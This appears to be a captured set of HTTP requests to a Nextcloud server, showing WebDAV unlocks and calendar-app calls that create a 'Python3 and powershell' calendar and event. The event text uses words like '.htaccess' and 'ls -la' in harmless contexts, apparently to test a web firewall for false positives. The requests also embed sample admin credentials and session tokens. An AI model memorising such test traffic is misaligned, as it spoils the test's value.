{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""} {"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
{"method": "GET", "target": "/apps/calendar/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/icaLine truncated
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/personal/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261101T000000Z\" end=\"20261213T000000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "MKCOL", "target": "/remote.php/dav/calendars/admin/python3-and-powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1081", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x1:calendar xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:resourcetype><x0:displayname>Python3 and powershell</x0:displayname><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\">#1E78C1</x6:calendar-color><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\">1</x4:calendar-enabled><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\">BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR</x1:calendar-timezone><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x1:comp name=\"VEVENT\"/></x1:supported-calendar-component-set></x0:prop></x0:set></x0:mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlnsLine truncated
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261031T230000Z\" end=\"20261212T230000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 433", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VTODO\"/></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 894", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090330Z\r\nLAST-MODIFIED:20261110T090330Z\r\nSEQUENCE:3\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Python3 workshop\r\nLOCATION:Room .htaccess\\, Powershell Lane\r\nDESCRIPTION:Bring a laptop with python3 and powershell\\; we run ls -la firs\r\n t.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:prop></x0:propfind>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 913", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 8gswnZCUVQGWpJa26qM/dLjrL6vbK3lMGrQAEMHx8c4=:kGBJydfGPTSlkMLzpIhKBYmSHZ2THQwEdfFOeerHtqo=", "If-Match: \"d2d274ce8b8726e9da40bc04bf871974\"", "X-NC-CalDAV-Webcal-Caching: On", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8; component=vevent; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=2EhHLVMo%2BuB2X6qXLvEQbhs%2FnBVzc3Eq46xDP3paR0WSicnXSqtFgO%2F6%2BUU5xF4EqtbReCt6FWHuuAmXJj2%2B3SKLgwUnaVtQu5ZTFi1kiF5IDWJaJbcuUUYzFf6ryy2c; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ef24c0ab9fb54634fa08cf8f41227b3d; nc_username=admin; nc_token=qBFdaX4Mt75T9rCmzWegIkZeNMopFgdR; nc_session_id=ef24c0ab9fb54634fa08cf8f41227b3d"], "body": "BEGIN:VCALENDAR\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090707Z\r\nLAST-MODIFIED:20261110T090707Z\r\nSEQUENCE:4\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Powershell and ls -la session\r\nLOCATION:.htaccess room\\, Python3 Street 4\r\nDESCRIPTION:Notes for python3\\, powershell and 